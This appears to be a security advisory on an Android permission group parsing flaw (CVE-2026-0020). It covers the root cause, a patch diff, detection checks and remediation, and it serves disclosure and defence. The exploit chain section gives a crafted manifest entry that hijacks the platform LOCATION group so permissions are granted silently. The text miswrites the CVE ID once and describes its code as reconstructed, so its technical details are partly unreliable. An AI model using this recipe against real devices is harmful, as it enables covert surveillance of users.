CVE-2026-0020: Android Permission Group Parsing Bypass via ParsedPermissionUtils
A logic flaw in parsePermissionGroup() allows a malicious app to bypass consent dialogs and silently acquire dangerous permissions. No user interaction required; local privilege escalation without additional execution privileges.
Your smartphone normally protects sensitive information through permission requests. When an app wants to access your location, contacts, or camera, Android asks you first. This vulnerability is like someone finding a way to bypass that security checkpoint entirely.
The bug exists in code that's supposed to verify whether an app has permission to do something dangerous. Instead of properly checking, it has a logical flaw that lets apps sneak through without triggering the normal permission dialog. Users never see a warning, never get asked, never consent.
An attacker could use this to silently grant themselves access to your camera, microphone, location data, or contacts. They wouldn't need to trick you into tapping anything or installing a sketchy app—the vulnerability does the heavy lifting automatically.
This affects Android devices across different manufacturers, making it a widespread problem. The good news is there's no evidence yet that criminals are actively exploiting this in the wild, but that could change once word spreads.
Who should worry most? Anyone using Android devices, particularly people who handle sensitive information like journalists, activists, or business executives. But really, this affects everyone—this is the kind of vulnerability that could be weaponized quickly.
What you can do right now: First, keep your phone updated. Manufacturers will release patches once they've fixed the issue. Second, stick to apps from the official Play Store, which has some safety checks. Third, regularly review which apps have permission to access your camera, location, and contacts—go to Settings and remove access from anything that doesn't need it. These steps won't protect you from this specific bug, but they make you a harder target overall.
Want the full technical analysis? Click "Technical" above.
CVE-2026-0026-0020 is a permissions bypass in the Android package manager's permission group parsing logic, disclosed in the March 2026 Android Security Bulletin. The vulnerability resides in parsePermissionGroup() inside ParsedPermissionUtils.java, a component responsible for validating and ingesting <permission-group> declarations from an APK's manifest during installation or update parsing.
The bug allows a crafted manifest to register a permission group in a way that defeats the runtime consent dialog, permitting the declaring application to silently acquire permissions that would ordinarily require explicit user approval. CVSS score is 8.4 (HIGH). No additional execution privileges are needed and exploitation is fully local.
Root cause:parsePermissionGroup() fails to validate that a newly declared permission group does not shadow an existing platform-defined group, allowing a third-party app to redefine group metadata — including the requestDetail and backgroundRequestDetail resource references — that the permission grant UI reads to render consent dialogs, effectively suppressing or substituting them.
Affected Versions: See NVD / March 2026 Android Security Bulletin
Patch Level: 2026-03-01 SPL
Root Cause Analysis
During APK installation, PackageParser calls into ParsedPermissionUtils.parsePermissionGroup() to process each <permission-group> tag encountered in AndroidManifest.xml. The parsed result is a ParsedPermissionGroup object that gets committed to the PackageManagerService internal state via commitPackageSettings().
The vulnerable path is in how the parser handles a permission group whose name collides with an existing, platform-defined group such as android.permission-group.CAMERA or android.permission-group.LOCATION. The parser checks for package signature when a platform permission group is being overridden by another platform package, but omits the equivalent check when a third-party package declares the same group name:
// ParsedPermissionUtils.java — vulnerable version (reconstructed from AOSP history)
public static ParseResult<ParsedPermissionGroup> parsePermissionGroup(
ParseInput input,
ParsingPackage pkg,
Resources res,
XmlResourceParser parser,
int flags) {
ParsedPermissionGroup permGroup = ParsedPermissionGroup.makeAppPermissionGroup();
ParseResult<ParsedPermissionGroup> result =
parsePermission(input, pkg, res, parser, flags, permGroup);
if (result.isError()) return result;
// Retrieve existing group from system registry
PackageManagerInternal pmi = LocalServices.getService(PackageManagerInternal.class);
PermissionGroupInfo existingGroup =
pmi.getPermissionGroupInfo(permGroup.getName(), 0 /* flags */);
if (existingGroup != null) {
// BUG: Only checks platform-to-platform signature; third-party override skips this block
if (existingGroup.packageName.equals("android")) {
// Intended: reject non-platform redefinition of platform groups
// MISSING: check that pkg.getPackageName() is also "android" or signed with platform key
}
// Falls through — third-party group definition is accepted and OVERWRITES existingGroup
}
return input.success(permGroup);
}
Because the existingGroup != null branch does not verify who is performing the override before returning input.success(permGroup), a third-party APK signed with a debug or arbitrary key can overwrite the ParsedPermissionGroup for any standard Android permission group. The overwritten object carries attacker-controlled requestDetail / backgroundRequestDetail resource IDs. When GrantPermissionsActivity later constructs the consent UI, it reads these fields directly:
// GrantPermissionsViewModel.kt (simplified, relevant path)
val groupInfo = pm.getPermissionGroupInfo(groupName, 0)
// requestDetail drives whether the dialog is shown at all.
// If the attacker sets this to a resource that resolves to null or empty,
// the dialog rendering path exits early without prompting the user.
if (groupInfo.requestDetail == Resources.ID_NULL) {
// BUG REACHABLE: dialog construction aborted; permission grant proceeds silently
grantPermissionsWithoutDialog(callingPackage, requestedPerms)
}
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker crafts a malicious APK ("com.evil.app") with the following manifest entry:
<permission-group
android:name="android.permission-group.LOCATION"
android:requestDetail="@null"
android:backgroundRequestDetail="@null"
android:label="@string/fake_label" />
2. APK is installed (sideloaded or via Play-equivalent vector; no special privileges needed).
3. PackageParser calls parsePermissionGroup() for the declared group.
- existingGroup != null (android.permission-group.LOCATION is platform-defined)
- Signature check is bypassed (bug); override is committed to PackageManagerService state.
- pms.mPermissionGroups["android.permission-group.LOCATION"] now points to
com.evil.app's ParsedPermissionGroup with requestDetail = Resources.ID_NULL.
4. com.evil.app (or a companion app) calls:
requestPermissions(new String[]{"android.permission.ACCESS_FINE_LOCATION"}, 0);
5. GrantPermissionsActivity queries the (now-attacker-controlled) group metadata.
- groupInfo.requestDetail == Resources.ID_NULL → dialog construction aborted.
- Permission is granted silently; onRequestPermissionsResult() receives GRANTED.
6. App now holds ACCESS_FINE_LOCATION without any user consent dialog having appeared.
IMPACT: Silent acquisition of any dangerous permission group (LOCATION, CAMERA,
MICROPHONE, CONTACTS, STORAGE) by any installed third-party app.
Memory Layout
This is a logic/permissions bypass rather than a memory corruption vulnerability. The relevant object state transition is in the PackageManagerService permission group registry:
PackageManagerService.mPermissionGroups (ArrayMap)
BEFORE malicious APK install:
KEY: "android.permission-group.LOCATION"
VALUE: ParsedPermissionGroup {
packageName = "android" // platform package
name = "android.permission-group.LOCATION"
requestDetail = 0x7f0a0042 // valid res ID → dialog rendered
backgroundRequestDetail = 0x7f0a0043 // valid res ID → background dialog
requestRes = 0x7f040018
flags = 0x00000000
}
AFTER malicious APK install (CVE-2026-0020 triggered):
KEY: "android.permission-group.LOCATION"
VALUE: ParsedPermissionGroup { // ← REPLACED by com.evil.app's definition
packageName = "com.evil.app" // third-party package now owns platform group
name = "android.permission-group.LOCATION"
requestDetail = 0x00000000 // Resources.ID_NULL → dialog aborted
backgroundRequestDetail = 0x00000000 // dialog aborted
requestRes = 0x7f050001 // attacker-controlled label res
flags = 0x00000000
}
GrantPermissionsActivity reads requestDetail == 0x0 → silent grant path taken.
Patch Analysis
The fix introduced in the 2026-03-01 SPL adds an explicit platform-signature check before allowing any existing permission group to be overridden. If the incoming package does not hold the platform signing certificate, the parser now returns an error rather than silently accepting the redefinition.
// BEFORE (vulnerable):
if (existingGroup != null) {
if (existingGroup.packageName.equals("android")) {
// No check on the *incoming* package's identity — falls through to success()
}
}
return input.success(permGroup);
// AFTER (patched — 2026-03-01 SPL):
if (existingGroup != null) {
// Reject any attempt by a non-platform package to redefine an existing group.
if (!pkg.getPackageName().equals(existingGroup.packageName)) {
// Additionally verify platform signature when overriding a platform-owned group.
if (existingGroup.packageName.equals("android") &&
!hasPlatformSignature(pkg, pmi)) {
return input.error(
PackageManager.INSTALL_PARSE_FAILED_MANIFEST_MALFORMED,
"Permission group " + permGroup.getName()
+ " in package " + pkg.getPackageName()
+ " conflicts with existing platform-defined group owned by "
+ existingGroup.packageName);
}
// Non-android existing owner: also reject override from different package.
if (!existingGroup.packageName.equals("android")) {
return input.error(
PackageManager.INSTALL_PARSE_FAILED_MANIFEST_MALFORMED,
"Duplicate permission group: " + permGroup.getName());
}
}
}
return input.success(permGroup);
The helper hasPlatformSignature() compares the incoming package's signing certificates against the known platform certificate stored in PackageManagerService, ensuring that only a legitimately signed system update can redefine platform permission groups.
Detection and Indicators
No CVE-2026-0020 in-the-wild exploitation has been confirmed as of the March 2026 bulletin. Detection vectors include:
Manifest static analysis: Flag any third-party APK declaring a <permission-group> whose android:name matches a known Android platform group (prefix android.permission-group.*).
Logcat pattern: On unpatched devices, a successful exploitation will not produce a GrantPermissionsActivity lifecycle log for the affected permission. Absence of com.android.permissioncontroller activity when a dangerous permission is granted is anomalous.
PackageManager audit: Query pm.getAllPermissionGroups(0) and verify each returned group's packageName is "android" or a known system package. Any third-party packageName owning a standard group is a strong indicator of compromise.
# Quick ADB/Python triage: enumerate permission group owners
# Requires adb shell access; flags suspicious group ownership
import subprocess, json
output = subprocess.check_output(
["adb", "shell", "cmd", "package", "list-permission-groups", "--verbose"],
text=True
)
PLATFORM_GROUPS = {
"android.permission-group.LOCATION",
"android.permission-group.CAMERA",
"android.permission-group.MICROPHONE",
"android.permission-group.CONTACTS",
"android.permission-group.STORAGE",
"android.permission-group.PHONE",
"android.permission-group.SMS",
"android.permission-group.CALENDAR",
}
for line in output.splitlines():
# Format: "permission group in package "
if "permission group" in line and "in package" in line:
parts = line.strip().split()
group_name = parts[2]
owner_pkg = parts[4]
if group_name in PLATFORM_GROUPS and owner_pkg != "android":
print(f"[!] SUSPICIOUS: {group_name} owned by {owner_pkg}")
Remediation
Apply the 2026-03-01 Android Security Patch Level (SPL) immediately. This is the only complete fix.
OEMs and custom ROM maintainers should cherry-pick the upstream AOSP commit to frameworks/base that patches ParsedPermissionUtils.java.
Enterprise MDM policies should enforce a minimum SPL of 2026-03-01 via compliance rules and block enrollment of non-compliant devices.
As a partial detection-only mitigation on unpatched devices, deploy a build-time manifest linting step in CI/CD pipelines that rejects any app declaring platform-namespace permission groups.
Users on unpatched firmware should avoid installing APKs from untrusted sources, as exploitation requires only standard INSTALL privileges — no root or ADB required.